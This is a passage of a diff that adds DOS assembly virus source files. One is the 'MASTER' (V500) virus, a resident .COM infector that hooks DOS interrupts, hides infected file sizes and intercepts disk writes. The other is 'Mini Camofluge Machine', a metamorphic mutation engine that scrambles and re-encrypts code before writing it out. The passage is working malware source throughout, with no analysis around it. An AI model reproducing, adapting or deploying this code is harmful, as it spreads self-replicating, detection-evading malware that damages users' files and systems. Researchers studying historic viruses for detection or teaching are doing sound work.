nxt: mov ah,4fh ; find next
|
||||||
|
int 0ffh
|
||||||
|
jnc next
|
||||||
|
lst: jmp last
|
||||||
|
|
||||||
|
true: cmp ss:[bx+27],byte ptr 0fdh
|
||||||
|
ja nxt
|
||||||
|
mov [144],offset i24pr
|
||||||
|
mov [146],cs
|
||||||
|
|
||||||
|
les ax,[4ch] ; int 13h
|
||||||
|
mov i13adr,ax
|
||||||
|
mov i13adr+2,es
|
||||||
|
jmp short $
|
||||||
|
beg: mov [4ch],offset i13pr
|
||||||
|
mov [4eh],cs
|
||||||
|
;
|
||||||
|
not3_3: push ss
|
||||||
|
pop ds
|
||||||
|
push [bx+22] ; time +
|
||||||
|
push [bx+24] ; date +
|
||||||
|
push [bx+21] ; attrib +
|
||||||
|
lea dx,[bx+30] ; ds : dx = offset file name
|
||||||
|
mov ax,4301h ; Change attrib !!!
|
||||||
|
pop cx
|
||||||
|
and cx,0feh ; clear r/o and CH
|
||||||
|
or cl,0c0h ; set Infect. attr
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ax,03d02h ; open
|
||||||
|
int 0ffh ; int 21h
|
||||||
|
xchg ax,bx
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov ah,03fh
|
||||||
|
mov cx,3
|
||||||
|
mov dx,offset first
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ax,04202h ; move fp to EOF
|
||||||
|
xor dx,dx
|
||||||
|
mov cx,dx
|
||||||
|
int 0ffh
|
||||||
|
mov word ptr cal_ofs+1,ax
|
||||||
|
|
||||||
|
mov ah,040h
|
||||||
|
mov cx,len
|
||||||
|
mov dx,ofs
|
||||||
|
int 0ffh
|
||||||
|
jc not_inf
|
||||||
|
|
||||||
|
mov ax,04200h
|
||||||
|
xor dx,dx
|
||||||
|
mov cx,dx
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ah,040h
|
||||||
|
mov cx,3
|
||||||
|
mov dx,offset cal_ofs
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
not_inf: mov ax,05701h
|
||||||
|
pop dx ; date
|
||||||
|
pop cx ; time
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ah,03eh ; close
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
les ax,dword ptr i13adr
|
||||||
|
mov [4ch],ax ; int 13h
|
||||||
|
mov [4eh],es
|
||||||
|
|
||||||
|
last: add sp,46
|
||||||
|
pop dx
|
||||||
|
pop ds ; restore DTA
|
||||||
|
mov ah,1ah
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
rest: pop dx ; restore current drive
|
||||||
|
mov ah,0eh ;
|
||||||
|
int 0ffh ;
|
||||||
|
|
||||||
|
pop es
|
||||||
|
pop bx
|
||||||
|
pop cx
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
pop ax
|
||||||
|
|
||||||
|
i21cl: iret ; Return from INT FC
|
||||||
|
|
||||||
|
i24pr: mov al,3 ; Critical errors
|
||||||
|
iret
|
||||||
|
|
||||||
|
i13pr: cmp ah,3
|
||||||
|
jne no
|
||||||
|
inc byte ptr cs:activ
|
||||||
|
dec ah
|
||||||
|
no: jmp dword ptr cs:i13adr
|
||||||
|
|
||||||
|
pr7b4: db 2eh,0d0h,2eh
|
||||||
|
dw offset activ
|
||||||
|
; shr cs:activ,1
|
||||||
|
jnc ex7b0
|
||||||
|
inc ah
|
||||||
|
ex7b0: jmp dword ptr cs:[7b0h]
|
||||||
|
|
||||||
|
;--------
|
||||||
|
|
||||||
|
file: db "*",32,".COM"
|
||||||
|
|
||||||
|
activ: db 0
|
||||||
|
|
||||||
|
dw offset i21pr ; int 0fch
|
||||||
|
dw 0
|
||||||
|
|
||||||
|
cal_ofs: db 0e8h
|
||||||
|
|
||||||
|
end:
|
||||||
|
dw ? ; cal_ofs
|
||||||
|
|
||||||
|
i13adr: dw ?
|
||||||
|
dw ?
|
||||||
|
|
||||||
|
|
||||||
|
; The End.
|
||||||
@@ -0,0 +1,308 @@
|
|||||||
|
; (C) Copyright VirusSoft Corp. Sep., 1990
|
||||||
|
;
|
||||||
|
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
|
||||||
|
; virus, distributed by VirusSoft company . First version was made
|
||||||
|
; in May., 1990 . Please don't make any corections in this file !
|
||||||
|
;
|
||||||
|
; Bulgaria, Varna
|
||||||
|
; Sep. 27, 1990
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
ofs = 201h
|
||||||
|
len = offset end-ofs
|
||||||
|
|
||||||
|
call $+6
|
||||||
|
|
||||||
|
org ofs
|
||||||
|
|
||||||
|
first: dw 020cdh
|
||||||
|
db 0
|
||||||
|
|
||||||
|
pop di
|
||||||
|
dec di
|
||||||
|
dec di
|
||||||
|
mov si,[di]
|
||||||
|
dec di
|
||||||
|
add si,di
|
||||||
|
push cs
|
||||||
|
push di
|
||||||
|
cld
|
||||||
|
movsw
|
||||||
|
movsb
|
||||||
|
xchg ax,dx
|
||||||
|
|
||||||
|
mov ax,4b04h
|
||||||
|
int 21h
|
||||||
|
jnc residnt
|
||||||
|
|
||||||
|
xor ax,ax
|
||||||
|
mov es,ax
|
||||||
|
mov di,ofs+3
|
||||||
|
mov cx,len-3
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
les di,[6]
|
||||||
|
mov al,0eah
|
||||||
|
dec cx
|
||||||
|
repne scasb
|
||||||
|
les di,es:[di] ; Searching for the INT21 vector
|
||||||
|
sub di,-1ah-7
|
||||||
|
|
||||||
|
db 0eah
|
||||||
|
dw offset jump,0 ; jmp far 0000:jump
|
||||||
|
|
||||||
|
jump: push es
|
||||||
|
pop ds
|
||||||
|
mov si,[di+3-7] ;
|
||||||
|
lodsb ;
|
||||||
|
cmp al,68h ; compare DOS Ver
|
||||||
|
mov [di+4-7],al ; Change CMP AH,CS:[????]
|
||||||
|
mov [di+2-7],0fc80h ;
|
||||||
|
mov [di-7],0fccdh ;
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov [1020],di ; int 0ffh
|
||||||
|
mov [1022],es
|
||||||
|
|
||||||
|
mov beg-1,byte ptr not3_3-beg
|
||||||
|
jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
|
||||||
|
mov beg-1,byte ptr 0
|
||||||
|
mov [7b4h],offset pr7b4
|
||||||
|
mov [7b6h],cs ; 7b4
|
||||||
|
|
||||||
|
not3.3: mov al,0a9h ; Change attrib
|
||||||
|
cont: repne scasb
|
||||||
|
cmp es:[di],0ffd8h
|
||||||
|
jne cont
|
||||||
|
mov al,18h
|
||||||
|
stosb
|
||||||
|
|
||||||
|
push ss
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
push ss
|
||||||
|
pop es
|
||||||
|
|
||||||
|
residnt: xchg ax,dx
|
||||||
|
retf ; ret far
|
||||||
|
|
||||||
|
;--------Interrupt process--------;
|
||||||
|
|
||||||
|
i21pr: push ax
|
||||||
|
push dx
|
||||||
|
push ds
|
||||||
|
push cx
|
||||||
|
push bx
|
||||||
|
push es
|
||||||
|
|
||||||
|
if4b04: cmp ax,4b04h
|
||||||
|
je rti
|
||||||
|
|
||||||
|
xchg ax,cx
|
||||||
|
mov ah,02fh
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
if11_12: cmp ch,11h
|
||||||
|
je yes
|
||||||
|
cmp ch,12h
|
||||||
|
jne inffn
|
||||||
|
yes: xchg ax,cx
|
||||||
|
int 0ffh
|
||||||
|
push ax
|
||||||
|
test es:byte ptr [bx+19],0c0h
|
||||||
|
jz normal
|
||||||
|
sub es:[bx+36],len
|
||||||
|
normal: pop ax
|
||||||
|
rti: pop es
|
||||||
|
pop bx
|
||||||
|
pop cx
|
||||||
|
add sp,12
|
||||||
|
iret
|
||||||
|
|
||||||
|
inffn: mov ah,19h
|
||||||
|
int 0ffh
|
||||||
|
push ax
|
||||||
|
|
||||||
|
if36: cmp ch,36h ; -free bytes
|
||||||
|
je beg_36
|
||||||
|
if4e: cmp ch,4eh ; -find first FM
|
||||||
|
je beg_4b
|
||||||
|
if4b: cmp ch,4bh ; -exec
|
||||||
|
je beg_4b
|
||||||
|
if47: cmp ch,47h ; -directory info
|
||||||
|
jne if5b
|
||||||
|
cmp al,2
|
||||||
|
jae begin ; it's hard-disk
|
||||||
|
if5b: cmp ch,5bh ; -create new
|
||||||
|
je beg_4b
|
||||||
|
if3c_3d: shr ch,1 ; > -open & create
|
||||||
|
cmp ch,1eh ; -
|
||||||
|
je beg_4b
|
||||||
|
|
||||||
|
jmp rest
|
||||||
|
|
||||||
|
beg_4b: mov ax,121ah
|
||||||
|
xchg dx,si
|
||||||
|
int 2fh
|
||||||
|
xchg ax,dx
|
||||||
|
xchg ax,si
|
||||||
|
|
||||||
|
beg_36: mov ah,0eh ; change current drive
|
||||||
|
dec dx ;
|
||||||
|
int 0ffh ;
|
||||||
|
|
||||||
|
begin:
|
||||||
|
push es ; save DTA address
|
||||||
|
push bx ;
|
||||||
|
sub sp,44
|
||||||
|
mov dx,sp ; change DTA
|
||||||
|
push sp
|
||||||
|
mov ah,1ah
|
||||||
|
push ss
|
||||||
|
pop ds
|
||||||
|
int 0ffh
|
||||||
|
mov bx,dx
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov ah,04eh
|
||||||
|
mov dx,offset file
|
||||||
|
mov cx,3 ; r/o , hidden
|
||||||
|
int 0ffh ; int 21h
|
||||||
|
jc lst
|
||||||
|
|
||||||
|
next: test ss:[bx+21],byte ptr 80h
|
||||||
|
jz true
|
||||||
|
nxt: mov ah,4fh ; find next
|
||||||
|
int 0ffh
|
||||||
|
jnc next
|
||||||
|
lst: jmp last
|
||||||
|
|
||||||
|
true: cmp ss:[bx+27],byte ptr 0fdh
|
||||||
|
ja nxt
|
||||||
|
mov [144],offset i24pr
|
||||||
|
mov [146],cs
|
||||||
|
|
||||||
|
les ax,[4ch] ; int 13h
|
||||||
|
mov i13adr,ax
|
||||||
|
mov i13adr+2,es
|
||||||
|
jmp short $
|
||||||
|
beg: mov [4ch],offset i13pr
|
||||||
|
mov [4eh],cs
|
||||||
|
;
|
||||||
|
not3_3: push ss
|
||||||
|
pop ds
|
||||||
|
push [bx+22] ; time +
|
||||||
|
push [bx+24] ; date +
|
||||||
|
push [bx+21] ; attrib +
|
||||||
|
lea dx,[bx+30] ; ds : dx = offset file name
|
||||||
|
mov ax,4301h ; Change attrib !!!
|
||||||
|
pop cx
|
||||||
|
and cx,0feh ; clear r/o and CH
|
||||||
|
or cl,0c0h ; set Infect. attr
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ax,03d02h ; open
|
||||||
|
int 0ffh ; int 21h
|
||||||
|
xchg ax,bx
|
||||||
|
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov ah,03fh
|
||||||
|
mov cx,3
|
||||||
|
mov dx,offset first
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ax,04202h ; move fp to EOF
|
||||||
|
xor dx,dx
|
||||||
|
mov cx,dx
|
||||||
|
int 0ffh
|
||||||
|
mov word ptr cal_ofs+1,ax
|
||||||
|
|
||||||
|
mov ah,040h
|
||||||
|
mov cx,len
|
||||||
|
mov dx,ofs
|
||||||
|
int 0ffh
|
||||||
|
jc not_inf
|
||||||
|
|
||||||
|
mov ax,04200h
|
||||||
|
xor dx,dx
|
||||||
|
mov cx,dx
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ah,040h
|
||||||
|
mov cx,3
|
||||||
|
mov dx,offset cal_ofs
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
not_inf: mov ax,05701h
|
||||||
|
pop dx ; date
|
||||||
|
pop cx ; time
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
mov ah,03eh ; close
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
les ax,dword ptr i13adr
|
||||||
|
mov [4ch],ax ; int 13h
|
||||||
|
mov [4eh],es
|
||||||
|
|
||||||
|
last: add sp,46
|
||||||
|
pop dx
|
||||||
|
pop ds ; restore DTA
|
||||||
|
mov ah,1ah
|
||||||
|
int 0ffh
|
||||||
|
|
||||||
|
rest: pop dx ; restore current drive
|
||||||
|
mov ah,0eh ;
|
||||||
|
int 0ffh ;
|
||||||
|
|
||||||
|
pop es
|
||||||
|
pop bx
|
||||||
|
pop cx
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
pop ax
|
||||||
|
|
||||||
|
i21cl: iret ; Return from INT FC
|
||||||
|
|
||||||
|
i24pr: mov al,3 ; Critical errors
|
||||||
|
iret
|
||||||
|
|
||||||
|
i13pr: cmp ah,3
|
||||||
|
jne no
|
||||||
|
inc byte ptr cs:activ
|
||||||
|
dec ah
|
||||||
|
no: jmp dword ptr cs:i13adr
|
||||||
|
|
||||||
|
pr7b4: db 2eh,0d0h,2eh
|
||||||
|
dw offset activ
|
||||||
|
; shr cs:activ,1
|
||||||
|
jnc ex7b0
|
||||||
|
inc ah
|
||||||
|
ex7b0: jmp dword ptr cs:[7b0h]
|
||||||
|
|
||||||
|
;--------
|
||||||
|
|
||||||
|
file: db "*",32,".COM"
|
||||||
|
|
||||||
|
activ: db 0
|
||||||
|
|
||||||
|
dw offset i21pr ; int 0fch
|
||||||
|
dw 0
|
||||||
|
|
||||||
|
cal_ofs: db 0e8h
|
||||||
|
|
||||||
|
end:
|
||||||
|
dw ? ; cal_ofs
|
||||||
|
|
||||||
|
i13adr: dw ?
|
||||||
|
dw ?
|
||||||
|
|
||||||
|
|
||||||
|
; The End.
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,383 @@
|
|||||||
|
.model tiny
|
||||||
|
codeseg
|
||||||
|
.8086
|
||||||
|
org 100h
|
||||||
|
; Mini Camofluge Machine v 0.62
|
||||||
|
; (c) 1997 by Pashkovsky Maxim [PARAFFiN]
|
||||||
|
;-----------------------------C-O-D-E----------------------------------------
|
||||||
|
LengthVirus equ (EndVir-Start)*2
|
||||||
|
;***********************I*N*T*S**********************************************
|
||||||
|
start:
|
||||||
|
i00: call CryptData
|
||||||
|
i01: call InitRandom
|
||||||
|
i02: call Infect
|
||||||
|
i03: mov ax,4C00h
|
||||||
|
i04: int 21h
|
||||||
|
;============================================================================
|
||||||
|
InitRandom proc near
|
||||||
|
i05: push es
|
||||||
|
i06: mov ax,0040h
|
||||||
|
i07: mov es,ax
|
||||||
|
i08: mov ax,es:[006ch]
|
||||||
|
i09: mov word ptr cs:[rseed],ax
|
||||||
|
i10: pop es
|
||||||
|
i11: ret
|
||||||
|
InitRandom endp
|
||||||
|
;============================================================================
|
||||||
|
Random proc near ; 16 bit Random number
|
||||||
|
i12: push cx
|
||||||
|
i13: push bx
|
||||||
|
i14: mov bx,word ptr cs:[rvalue]
|
||||||
|
i15: mov ax,word ptr cs:[rseed]
|
||||||
|
i16: rol ax,1
|
||||||
|
i17: sub ax,7
|
||||||
|
i18: xor ax,bx
|
||||||
|
i19: mov word ptr cs:[rvalue],ax
|
||||||
|
i20: mov word ptr cs:[rseed],bx
|
||||||
|
i21: mul dx ;(input value) * (delta)
|
||||||
|
i22: mov cx,-1
|
||||||
|
i23: cmp dx,cx ;verify divide will work
|
||||||
|
i24: jae @abort ;jmp if divide will not work
|
||||||
|
i25: div cx ;(input value) * (delta) / ffffh
|
||||||
|
i26: @abort: pop bx
|
||||||
|
i27: pop cx
|
||||||
|
i28: ret
|
||||||
|
Random endp
|
||||||
|
;============================================================================
|
||||||
|
VerifyAlloc proc near ; Verify place.
|
||||||
|
i29: push ax
|
||||||
|
i30: push cx
|
||||||
|
i31: mov ax,word ptr cs:[AddrPTR]
|
||||||
|
i32: mov bx,offset AddrTab
|
||||||
|
i33: sub ax,bx
|
||||||
|
i34: push dx ;<=¿
|
||||||
|
i35: mov cx,2AABh ; | divide ax by 6 = ax/6
|
||||||
|
i36: mul cx ; :
|
||||||
|
i37: mov cx,dx ; |
|
||||||
|
i38: pop dx ;<=Ù
|
||||||
|
i39: @vloop: mov ax,word ptr cs:[bx]
|
||||||
|
i40: cmp dx,ax
|
||||||
|
i41: jb @vnext
|
||||||
|
i42: add ax,word ptr cs:[bx+2]
|
||||||
|
i43: cmp dx,ax
|
||||||
|
i44: jb @verror
|
||||||
|
i45: @vnext: add bx,6
|
||||||
|
i46: loop @vloop
|
||||||
|
i47: clc
|
||||||
|
i48: jmp @vquit
|
||||||
|
i49: @verror: stc
|
||||||
|
i50: @vquit: pop cx
|
||||||
|
i51: pop ax
|
||||||
|
i52: ret
|
||||||
|
VerifyAlloc endp
|
||||||
|
;============================================================================
|
||||||
|
Jump proc near ; Make near jump (E9h opcode) to free random place.
|
||||||
|
i53: push ax
|
||||||
|
i54: mov bx,word ptr cs:[AddrPTR]
|
||||||
|
i55: mov word ptr cs:[bx],di
|
||||||
|
i56: mov word ptr cs:[bx+2],3
|
||||||
|
i57: mov word ptr cs:[bx+4],0
|
||||||
|
i58: add word ptr cs:[AddrPTR],6
|
||||||
|
i59: mov al,0E9h
|
||||||
|
i60: stosb
|
||||||
|
i61: @jnew: mov dx,0FFFDh
|
||||||
|
i62: call Random
|
||||||
|
i63: mov dx,di
|
||||||
|
i64: add dx,2
|
||||||
|
i65: add dx,ax
|
||||||
|
i66: cmp dx,offset code + LengthVirus - 10
|
||||||
|
i67: jae @jnew
|
||||||
|
i68: cmp dx,offset code
|
||||||
|
i69: jbe @jnew
|
||||||
|
i70: xor cx,cx
|
||||||
|
i71: mov bx,word ptr cs:[LenghtPTR]
|
||||||
|
i72: mov cl,byte ptr cs:[bx]
|
||||||
|
i73: add cx,3
|
||||||
|
i74: @jverify: call VerifyAlloc ; Verify place.
|
||||||
|
i75: jc @jnew
|
||||||
|
i76: inc dx
|
||||||
|
i77: loop @jverify
|
||||||
|
i78: @jend: stosw
|
||||||
|
i79: add di,ax
|
||||||
|
i80: pop ax
|
||||||
|
i81: ret
|
||||||
|
Jump endp
|
||||||
|
;============================================================================
|
||||||
|
JumpNear proc near ;Proc for adjust near jump.
|
||||||
|
i82: push ax
|
||||||
|
i83: mov bx,word ptr cs:[AddrPTR]
|
||||||
|
i84: mov word ptr cs:[bx],di ; Build table for near jumps.
|
||||||
|
i85: mov word ptr cs:[bx+2],2
|
||||||
|
i86: mov word ptr cs:[bx+4],si
|
||||||
|
i87: add word ptr cs:[AddrPTR],6
|
||||||
|
i88: movsb
|
||||||
|
i89: @jnnew: xor ax,ax
|
||||||
|
i90: mov dx,0FDh
|
||||||
|
i91: call Random
|
||||||
|
i92: cmp al,20
|
||||||
|
i93: jb @jnnew
|
||||||
|
i94: cbw
|
||||||
|
i95: mov dx,di
|
||||||
|
i96: inc dx
|
||||||
|
i97: add dx,ax
|
||||||
|
i98: cmp dx,offset code + LengthVirus - 10
|
||||||
|
i99: jae @jnnew
|
||||||
|
i100: cmp dx,offset code
|
||||||
|
i101: jbe @jnnew
|
||||||
|
i102: mov cx,3
|
||||||
|
i103: @jnverify: call VerifyAlloc ; Verify place.
|
||||||
|
i104: jc @jnnew
|
||||||
|
i105: inc dx
|
||||||
|
i106: loop @jnverify
|
||||||
|
i107: stosb
|
||||||
|
i108: push di
|
||||||
|
i109: add di,ax
|
||||||
|
i110: mov bx,word ptr cs:[AddrPTR]
|
||||||
|
i111: mov word ptr cs:[bx],di
|
||||||
|
i112: mov word ptr cs:[bx+2],3
|
||||||
|
i113: mov word ptr cs:[bx+4],0
|
||||||
|
i114: add word ptr cs:[AddrPTR],6
|
||||||
|
i115: mov al,0E9h
|
||||||
|
i116: stosb
|
||||||
|
i117: lodsb
|
||||||
|
i118: cbw
|
||||||
|
i119: push si
|
||||||
|
i120: add si,ax
|
||||||
|
i121: lodsb
|
||||||
|
i122: cmp al,0E9h
|
||||||
|
i123: jne @jnnext
|
||||||
|
i124: lodsw
|
||||||
|
i125: add si,ax
|
||||||
|
i126: inc si
|
||||||
|
i127: @jnnext: dec si
|
||||||
|
i128: mov bx,word ptr cs:[JumpPTR] ;Near jump table.
|
||||||
|
i129: mov word ptr cs:[bx],si
|
||||||
|
i130: mov word ptr cs:[bx+2],di
|
||||||
|
i131: add word ptr cs:[JumpPTR],4
|
||||||
|
i132: pop si
|
||||||
|
i133: pop di
|
||||||
|
i134: pop ax
|
||||||
|
i135: ret
|
||||||
|
JumpNear endp
|
||||||
|
;============================================================================
|
||||||
|
CallNear proc near ;Build addr table for near call.
|
||||||
|
i136: mov bx,word ptr cs:[JumpPTR]
|
||||||
|
i137: mov cx,si
|
||||||
|
i138: add cx,3 ;inc cx
|
||||||
|
i139: add cx,word ptr cs:[si+1]
|
||||||
|
i140: mov word ptr cs:[bx],cx
|
||||||
|
i141: mov word ptr cs:[bx+2],di
|
||||||
|
i142: inc word ptr cs:[bx+2]
|
||||||
|
i143: add word ptr cs:[JumpPTR],4
|
||||||
|
i144: ret
|
||||||
|
CallNear endp
|
||||||
|
;============================================================================
|
||||||
|
MoveInst proc near ;Move instruction on new place.
|
||||||
|
i145: cmp si,word ptr cs:[CryptMov] ; Verify CryptValue
|
||||||
|
i146: jne @NoValue
|
||||||
|
i147: mov word ptr cs:[OldCryptMov],si
|
||||||
|
i148: mov word ptr cs:[CryptMov],di
|
||||||
|
i149: jmp @NoCrypt
|
||||||
|
i150: @NoValue: cmp si,word ptr cs:[CryptChg] ; Verify ChangeCrypt
|
||||||
|
i151: jne @NoCrypt
|
||||||
|
i152: mov word ptr cs:[OldCryptChg],si
|
||||||
|
i153: mov word ptr cs:[CryptChg],di
|
||||||
|
i154: @NoCrypt: mov bx,word ptr cs:[LenghtPTR] ;====================
|
||||||
|
i155: xor cx,cx
|
||||||
|
i156: mov cl,byte ptr cs:[bx]
|
||||||
|
i157: mov bx,word ptr cs:[AddrPTR]
|
||||||
|
i158: mov word ptr cs:[bx],di ;Build table for instr.
|
||||||
|
i159: mov word ptr cs:[bx+2],cx
|
||||||
|
i160: mov word ptr cs:[bx+4],si
|
||||||
|
i161: add word ptr cs:[AddrPTR],6
|
||||||
|
i162: rep movsb
|
||||||
|
i163: ret
|
||||||
|
MoveInst endp
|
||||||
|
;============================================================================
|
||||||
|
Mutation proc near ;Main loop of mutation.
|
||||||
|
i164: mov si,offset start ; SI have OLD! code offset.
|
||||||
|
i165: mov di,offset code ; DI have NEW! code offset.
|
||||||
|
i166: mov ax,offset EndData-offset LenghtTab-1
|
||||||
|
i167: cld
|
||||||
|
i168: @m1: cmp byte ptr cs:[si],70h ;<=¿
|
||||||
|
i169: jb @m2 ; | jumps.
|
||||||
|
i170: cmp byte ptr cs:[si],7Fh ;<=Ù
|
||||||
|
i171: jbe @realloc
|
||||||
|
i172: @m2: cmp byte ptr cs:[si],0E0h
|
||||||
|
i173: jb @m3
|
||||||
|
i174: cmp byte ptr cs:[si],0E3h
|
||||||
|
i175: jbe @realloc
|
||||||
|
i176: @m3: cmp byte ptr cs:[si],0EBh ; short jump.
|
||||||
|
i177: je @realloc
|
||||||
|
i178: cmp byte ptr cs:[si],0E8h ; near call.
|
||||||
|
i179: jne @m4
|
||||||
|
i180: call CallNear
|
||||||
|
i181: @m4: cmp byte ptr cs:[si],0E9h ; NEAR JUMP !!!
|
||||||
|
i182: jne @mend
|
||||||
|
i183: mov bx,word ptr cs:[si+1]
|
||||||
|
i184: add si,3
|
||||||
|
i185: add si,bx
|
||||||
|
i186: jmp @m1
|
||||||
|
i187: @realloc: call JumpNear
|
||||||
|
i188: jmp @mnext
|
||||||
|
i189: @mend: call MoveInst
|
||||||
|
i190: @mnext: inc word ptr cs:[LenghtPTR]
|
||||||
|
i191: mov dx,di
|
||||||
|
i192: mov cx,3
|
||||||
|
i193: mov bx,word ptr cs:[LenghtPTR]
|
||||||
|
i194: add cl,byte ptr cs:[bx]
|
||||||
|
i195: @mjverify: call VerifyAlloc ; Verify place.
|
||||||
|
i196: jc @mjump
|
||||||
|
i197: inc dx
|
||||||
|
i198: loop @mjverify
|
||||||
|
i199: cmp dx,offset code + LengthVirus - 10
|
||||||
|
i200: jae @mjump
|
||||||
|
i201: push ax
|
||||||
|
i202: mov dx,3h
|
||||||
|
i203: call Random
|
||||||
|
i204: cmp al,1h
|
||||||
|
i205: pop ax
|
||||||
|
i206: jne @loop
|
||||||
|
i207: @mjump: call Jump
|
||||||
|
i208: @loop: dec ax
|
||||||
|
i209: jnz @m1 ;============================================
|
||||||
|
i210: mov dx,word ptr cs:[JumpPTR] ; Adjust address.
|
||||||
|
i211: mov bx,offset JumpTab
|
||||||
|
i212: sub dx,bx
|
||||||
|
i213: shr dx,1 ; div 4
|
||||||
|
i214: shr dx,1 ; <=Ù
|
||||||
|
i215: @mreall: mov di,offset AddrTab
|
||||||
|
i216: mov ax,word ptr cs:[bx]
|
||||||
|
i217: mov cx,word ptr cs:[AddrPTR]
|
||||||
|
i218: sub cx,di
|
||||||
|
i219: shr cx,1
|
||||||
|
i220: repnz scasw
|
||||||
|
i221: jcxz @merror
|
||||||
|
i222: mov ax,word ptr cs:[di-6]
|
||||||
|
i223: mov di,word ptr cs:[bx+2]
|
||||||
|
i224: sub ax,di
|
||||||
|
i225: sub ax,2
|
||||||
|
i226: stosw
|
||||||
|
i227: @merror: add bx,4
|
||||||
|
i228: dec dx
|
||||||
|
i229: jnz @mreall ;========================================
|
||||||
|
i230: mov word ptr cs:[LenghtPTR],offset LenghtTab
|
||||||
|
i231: mov word ptr cs:[AddrPTR],offset AddrTab
|
||||||
|
i232: mov word ptr cs:[JumpPTR],offset JumpTab
|
||||||
|
i233: mov dx,0FFFFh ; Adjust CryptValue.
|
||||||
|
i234: call Random
|
||||||
|
i235: mov bx,word ptr cs:[CryptMov]
|
||||||
|
i236: mov [bx+1],ax
|
||||||
|
i237: sub word ptr cs:[CryptMov],offset Code-100h
|
||||||
|
i238: mov bx,word ptr cs:[OldCryptMov]
|
||||||
|
i239: mov [bx+1],ax ;<===========================
|
||||||
|
i240: mov dx,0FFFFh ; Adjust ChangeValue.
|
||||||
|
i241: call Random
|
||||||
|
i242: mov bx,word ptr cs:[CryptChg]
|
||||||
|
i243: mov [bx+2],ax
|
||||||
|
i244: sub word ptr cs:[CryptChg],offset Code-100h
|
||||||
|
i245: mov bx,word ptr cs:[OldCryptChg]
|
||||||
|
i246: mov [bx+2],ax ;<===========================
|
||||||
|
i247: call CryptData ; Crypt.
|
||||||
|
i248: mov si,offset Data ; Move data.
|
||||||
|
i249: mov di,offset AddrTab ; NewData;
|
||||||
|
i250: mov cx,EndData-Data
|
||||||
|
i251: rep movsb
|
||||||
|
i252: ret
|
||||||
|
Mutation endp
|
||||||
|
;============================================================================
|
||||||
|
Infect proc near
|
||||||
|
i253: call Message
|
||||||
|
i254: mov dx,offset FileName ;Open File
|
||||||
|
i255: mov ah,3ch
|
||||||
|
i256: xor cx,cx
|
||||||
|
i257: int 21h
|
||||||
|
i258: mov word ptr cs:[FileHandle],ax
|
||||||
|
i259: call Mutation
|
||||||
|
i260: mov bx,word ptr cs:[FileHandle] ;Write Virus body
|
||||||
|
i261: mov cx,offset EndData - 100h ;offset JumpTab + 512 - 100h
|
||||||
|
i262: mov dx,offset Code
|
||||||
|
i263: mov ah,40h
|
||||||
|
i264: int 21h
|
||||||
|
i265: mov bx,word ptr cs:[FileHandle] ;Close file
|
||||||
|
i266: mov ah,3Eh
|
||||||
|
i267: int 21h
|
||||||
|
i268: ret
|
||||||
|
Infect endp
|
||||||
|
;============================================================================
|
||||||
|
Message proc near
|
||||||
|
i269: mov dx,offset Copyright
|
||||||
|
i270: mov ah,09h
|
||||||
|
i271: int 21h
|
||||||
|
i272: ret
|
||||||
|
Message endp
|
||||||
|
;============================================================================
|
||||||
|
CryptData proc near ; Crypt data body.
|
||||||
|
i273: mov cx,(EndData-Data)/2+1
|
||||||
|
i274: mov si,offset Data
|
||||||
|
i275: push si
|
||||||
|
i276: pop di
|
||||||
|
i277: CryptValue db 0BAh,?,? ;mov dx,??h
|
||||||
|
i278: @DeCrypt: lodsw
|
||||||
|
i279: xor ax,dx
|
||||||
|
i280: stosw
|
||||||
|
i281: ChangeValue db 81h,0C2h,?,? ;add dx,??h
|
||||||
|
i282: loop @DeCrypt
|
||||||
|
i283: ret
|
||||||
|
i284:
|
||||||
|
CryptData endp
|
||||||
|
;============================================================================
|
||||||
|
EndVir:
|
||||||
|
org LengthVirus+100h ;$+300h
|
||||||
|
;---------------------------------D-A-T-A------------------------------------
|
||||||
|
Data:
|
||||||
|
Copyright db '[MCMv0.62(c)Jul1997byPARAFFiN]','$'
|
||||||
|
FileName db 'test_mcm.com',0
|
||||||
|
LenghtPTR dw offset LenghtTab
|
||||||
|
AddrPTR dw offset AddrTab
|
||||||
|
JumpPTR dw offset JumpTab
|
||||||
|
CryptMov dw offset CryptValue
|
||||||
|
CryptChg dw offset ChangeValue
|
||||||
|
LenghtTab: ; Instruction lenght table.
|
||||||
|
db i01-i00,i02-i01,i03-i02,i04-i03,i05-i04,i06-i05,i07-i06,i08-i07,i09-i08,i10-i09
|
||||||
|
db i11-i10,i12-i11,i13-i12,i14-i13,i15-i14,i16-i15,i17-i16,i18-i17,i19-i18,i20-i19
|
||||||
|
db i21-i20,i22-i21,i23-i22,i24-i23,i25-i24,i26-i25,i27-i26,i28-i27,i29-i28,i30-i29
|
||||||
|
db i31-i30,i32-i31,i33-i32,i34-i33,i35-i34,i36-i35,i37-i36,i38-i37,i39-i38,i40-i39
|
||||||
|
db i41-i40,i42-i41,i43-i42,i44-i43,i45-i44,i46-i45,i47-i46,i48-i47,i49-i48,i50-i49
|
||||||
|
